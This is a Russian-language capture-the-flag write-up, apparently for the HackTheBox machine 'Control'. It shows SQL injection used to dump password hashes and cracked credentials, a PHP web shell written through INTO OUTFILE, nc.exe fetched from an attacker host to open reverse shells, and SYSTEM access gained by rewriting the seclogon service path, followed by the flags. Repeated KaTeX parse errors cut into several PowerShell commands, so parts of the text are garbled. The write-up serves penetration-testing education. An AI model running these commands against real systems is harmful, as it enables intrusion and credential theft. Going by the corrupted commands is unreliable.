Обзор сервисов

Просканируем порты на машине 10.10.10.167 с помощью nmap:

$ nmap -sC -sV -p- -Pn -v -oN nmap 10.10.10.167
...

Машина плохо отвечает, поэтому пропустим этап сканирования на этот раз.

Сразу же поищем интересные файлы на сервере.

$ gobuster dir -u http://10.10.10.167 -w /usr/share/seclists/Discovery/Web-Content/common.txt --threads=50 --timeout=2s

/Images (Status: 301) \[Size: 150\] \[--> http://10.10.10.167/Images/\]
/admin.php (Status: 200) \[Size: 89\]
/assets (Status: 301) \[Size: 150\] \[--> http://10.10.10.167/assets/\]
/images (Status: 301) \[Size: 150\] \[--> http://10.10.10.167/images/\]
/index.php (Status: 200) \[Size: 3145\]
/uploads (Status: 301) \[Size: 151\] \[--> http://10.10.10.167/uploads/\]

В HTML-коде на http://10.10.10.167 видим комментарий:

 <!-- To Do:
        - Import Products
        - Link to new payment system
        - Enable SSL (Certificates location \\192.168.4.28\myfiles)
    <!-- Header --> 

Попробуем перейти на админку http://10.10.10.167/admin.php, но у нас нет заголовка proxy.

Добавим X-Forwarded-For: 192.168.4.28 с помощью расширения Header Editor.

Alt text

SQL Injection

Обнаруживаем инъекцию с помощью кавычки в поиске. Проводим разведку (версия базы данных, пользователь, имя базы данных, список таблиц, пользователи и хеши их паролей).

'; select @@version#
10.4.8-MariaDB
'; select user();#
manager@localhost
'; select database();#
warehouse
'; select table\_name from information\_schema.tables;#
... tables
'; select group_concat(user, ":", password, "\\n") from mysql.user;#
root:\*0A4A5CAD344718DC418035A1F4D292BA603134D8 ,root:\*0A4A5CAD344718DC418035A1F4D292BA603134D8 ,root:\*0A4A5CAD344718DC418035A1F4D292BA603134D8 ,root:\*0A4A5CAD344718DC418035A1F4D292BA603134D8 ,manager:\*CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA ,hector:\*0E178792E8FC304A2E3133D535D38CAF1DA3CD9D

Брутим пароль и получаем креды:

manager:l3tm3!n
hector:l33th4x0rhector

Мы так же можем загружать файлы:

'; select group\_concat(user, ":", file\_priv, "\\n") from mysql.user where file_priv='Y';#
root:Y ,root:Y ,root:Y ,root:Y ,manager:Y ,hector:Y

Загрузим sh1.php реверс-шелл.

'; select '' into outfile "C:\\inetpub\\wwwroot\\sh1.php"; #

И поймаем его.

$ curl http://10.10.10.167/sh1.php?c=%22whoami%22
nt authority\\iusr
$ cp /usr/share/windows-binaries/nc.exe .
$ python3 -m http.server 80
$ curl http://10.10.10.167/sh1.php?c=powershell+wget+http://10.10.14.6/nc.exe+-outfile+%5Cinetpub%5Cwwwroot%5Cuploads%5Cnc.exe
$ rlwrap nc -lnvp 443
http://10.10.10.167/sh1.php?c=uploads%5Cnc.exe%2010.10.14.6%20443%20-e%20powershell

Alt text

Пользователь Hector

Посмотрим, что может наш пользователь.

net user Hector  

Он находится в группе Remote Management Use group, а значит может запускать Invoke-Command.

Запустим netcat на локальной машине:

rlwrap nc -lnvp 1235

На удаленной машине выполним:

$ powershell
$ $password = convertto-securestring -AsPlainText -Force -String "l33th4x0rhector" $ $credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "CONTROL\hector",$

KaTeX parse error: Undefined control sequence: \\hector at position 99: ntList "CONTROL\\̲h̲e̲c̲t̲o̲r̲",

KaTeX parse error: Undefined control sequence: \\hector at position 99: ntList "CONTROL\\̲h̲e̲c̲t̲o̲r̲",

KaTeX parse error: Undefined control sequence: \\hector at position 99: ntList "CONTROL\\̲h̲e̲c̲t̲o̲r̲",

password
$ Invoke-Command -ComputerName LOCALHOST -ScriptBlock { C:\\inetpub\\wwwroot\\uploads\\nc.exe 10.10.14.6 1235 -e cmd } -Credential $credential

Alt text

Сбор дополнительной информации

$ powershell
$ gc (Get-PSReadlineOption).HistorySavePath

get-childitem HKLM:\\SYSTEM\\CurrentControlset | format-list
get-acl HKLM:\\SYSTEM\\CurrentControlSet | format-list

$ $acl = get-acl HKLM:\\SYSTEM\\CurrentControlSet
ConvertFrom-SddlString -Sddl $acl.Sddl | Foreach-Object {$

KaTeX parse error: Expected '}', got 'EOF' at end of input: oreach-Object {

KaTeX parse error: Expected '}', got 'EOF' at end of input: oreach-Object {

KaTeX parse error: Expected '}', got 'EOF' at end of input: oreach-Object {

*.DiscretionaryAcl}
$ ConvertFrom-SddlString -Sddl $acl.Sddl | Foreach-Object {$*

KaTeX parse error: Expected '}', got 'EOF' at end of input: oreach-Object {

KaTeX parse error: Expected '}', got 'EOF' at end of input: oreach-Object {

KaTeX parse error: Expected '}', got 'EOF' at end of input: oreach-Object {

.DiscretionaryAcl}
BUILTIN\\Administrators: AccessAllowed (ChangePermissions, CreateDirectories, Delete, ExecuteKey, FullControl, GenericExecute, GenericWrite, ListDirectory, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, WriteData, WriteExtendedAttributes, WriteKey)
NT AUTHORITY\\Authenticated Users: AccessAllowed Inherited (ExecuteKey, ListDirectory, ReadExtendedAttributes, ReadPermissions, WriteExtendedAttributes)
: AccessAllowed Inherited (ExecuteKey, ListDirectory, ReadExtendedAttributes, ReadPermissions, WriteExtendedAttributes)
BUILTIN\\Administrators: AccessAllowed Inherited (ChangePermissions, CreateDirectories, Delete, ExecuteKey, FullControl, GenericExecute, GenericWrite, ListDirectory, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, WriteData, WriteExtendedAttributes, WriteKey)
NT AUTHORITY\\SYSTEM: AccessAllowed Inherited (ChangePermissions, CreateDirectories, Delete, ExecuteKey, FullControl, GenericExecute, GenericWrite, ListDirectory, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, WriteData, WriteExtendedAttributes, WriteKey)
APPLICATION PACKAGE AUTHORITY\\ALL APPLICATION PACKAGES: AccessAllowed Inherited (ExecuteKey, ListDirectory, ReadExtendedAttributes, ReadPermissions, WriteExtendedAttributes)
: AccessAllowed Inherited (ExecuteKey, ListDirectory, ReadExtendedAttributes, ReadPermissions, WriteExtendedAttributes)

fullcontrol modify service

Смотрим, какие есть сервисы в системе. Видим сервис seclogon, запущенный от имени system. Мы можем подменить его исполняемый файл и запустить, чтобы повысить привилегии.

Повышение привилегий

Запустим новый netcat:

rlwrap nc -lnvp 1237

На удаленной машине:

$ $service = 'seclogon'; $ $sddl = (cmd /c sc sdshow $service)\[1\]; $ $reg = gp -path hklm:\system\currentcontrolset\services\$service;$

KaTeX parse error: Undefined control sequence: \\system at position 21:  gp -path hklm:\\̲s̲y̲s̲t̲e̲m̲\\currentcontrol

KaTeX parse error: Undefined control sequence: \\system at position 21:  gp -path hklm:\\̲s̲y̲s̲t̲e̲m̲\\currentcontrol

KaTeX parse error: Undefined control sequence: \\system at position 21:  gp -path hklm:\\̲s̲y̲s̲t̲e̲m̲\\currentcontrol

set-itemproperty -erroraction silentlycontinue -path HKLM:\\system\\currentcontrolset\\services$service -name imagepath -value "\\inetpub\\wwwroot\\uploads\\nc.exe -e cmd 10.10.14.6 1237"; $ start-service $service -erroraction silentlycontinue;

Флаги

> dir
Volume in drive C has no label.
Volume Serial Number is C05D-877F
Directory of C:\\Users\\Hector\\Desktop
11/07/2019 01:17 PM
<dir>. 11/07/2019 01:17 PM<dir>.. 11/01/2019 01:33 PM 32 user.txt 1 File(s) 32 bytes 2 Dir(s) 43,616,854,016 bytes free</dir></dir>
> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . . . : dead:beef::ece3:7c6:d08:7402
Link-local IPv6 Address . . . . . : fe80::ece3:7c6:d08:7402%8
IPv4 Address. . . . . . . . . . . : 10.10.10.167
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:1a7c%8
10.10.10.2
whoami
nt authority\\system
type user.txt
d8782dd01fb15b72c4b5ba77ef2d472b
type root.txt
8f8613f5b4da391f36ef11def4cec1b1

Alt text

Alt text